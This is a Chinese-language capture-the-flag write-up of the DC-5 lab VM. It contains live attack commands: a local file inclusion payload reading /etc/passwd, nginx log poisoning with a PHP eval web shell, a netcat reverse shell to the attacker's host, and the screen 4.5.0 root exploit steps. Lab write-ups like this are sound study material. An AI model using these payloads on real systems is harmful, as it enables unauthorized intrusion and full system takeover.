DC-5靶机渗透测试
1. 信息收集
1.1 主机扫描
arp-scan -l
1.2 端口扫描
nmap -sS -p- 192.168.188.175
2. 漏洞发现
使用网站的页面功能后,点击打开contact页面的提交留言后,出现改变。原先的2020变为了2018。
并且每刷新一次页面,页面上的值就会发生改变。
直接去访问thankyou.php也是一样的。
查看是否为文件包含漏洞,调用file协议查看一下网站目录,发现能够成功读取目录储存文件。
文件包含漏洞:可以允许攻击者利用未正确验证用户输入的文件路径导致恶意文件的执行或敏感文件的泄露。文件包含漏洞通常发生在Web应用程序中,其中动态地包含文件并且未对用户输入进行充分过滤和验证。攻击者可以利用此漏洞来执行任意的服务器端代码,包括恶意脚本、命令执行、包含敏感文件等。
http://192.168.188.175/thankyou.php?file=/etc/passwd
通过Wappalyzer插件可以知道网站是nginx,nginx日志文件默认放在**/var/log/nginx
下,配置文件是/etc/nginx/nginx.conf
**。
查看配置文件
http://192.168.188.175/thankyou.php?file=/etc/nginx/nginx.conf
得知日志文件路径为**/var/log/nginx/access.log
**。
3. 漏洞利用
3.1 bp上传一句话木马
使用bp抓包然后在日志文件中上传“一句话木马”,使用中国蚁剑进行连接。
浏览器访问路径如下,然后使用bp抓包。
http://192.168.188.175/thankyou.php?file=/var/log/nginx/access.log # 看日志文件
GET /hello-world! <?php @eval($_REQUEST[cmd])?> HTTP/1.1
3.2 反弹shell
打开虚拟终端,发现当前用户的权限较低
kali中监听一个端口4444
nc -lvp 4444
设置反弹shell
在蚁剑终端执行如下命令
nc -e /bin/bash 192.168.188.157 4444
解析:
-e /bin/bash
:是nc
命令的选项之一。-e
选项后跟随要执行的命令,这里是/bin/bash
。/bin/bash
是 Linux 系统中的默认 shell(命令行解释器),它允许用户与操作系统进行交互。- 如果目标主机(kali)正在监听4444端口,并且允许连接进来,那么
nc
命令将成功建立 TCP 连接。一旦连接建立成功,目标主机会执行/bin/bash
命令(默认的交互式 shell),将执行的结果通过网络发送回连接的主机。连接主机会成为一个类似于远程 shell 的环境,可以通过命令和输入输出与目标主机进行交互。
反弹成功
设置python交互
python -c "import pty;pty.spawn('/bin/bash')"
4. 提权
find / -user root -perm -u=s -print 2>/dev/null
用searchsploit搜索是否存在漏洞。
searchsploit screen 4.5.0
查看41154.sh
的绝对路径
searchsploit -p linux/local/41154.sh
/usr/share/exploitdb/exploits/linux/local/41154.sh
查看文件内容
cat /usr/share/exploitdb/exploits/linux/local/41154.sh
第一步:将上部分的c语言代码另存为libhax.c文件,然后gcc编译:
gcc -fPIC -shared -ldl -o libhax.so libhax.c
第二步:将第二部分的C语言代码写入rootshell.c文件中,并编译成rooshell文件。
gcc -o rootshell /tmp/rootshell.c
第三步:将剩下部分的脚本代码写入到run.sh
文件中(文件名自定义),在开头加上**#!/bin/bash
**注明执行环境。
最后将run.sh以及编译好的libhax.so和rootshell文件拖入蚁剑。
进到kali的python交互shell里,切换到tmp目录下
运行run.sh
,输入bash ./run.sh
提权
查看当前用户权限
进到/root
查看flag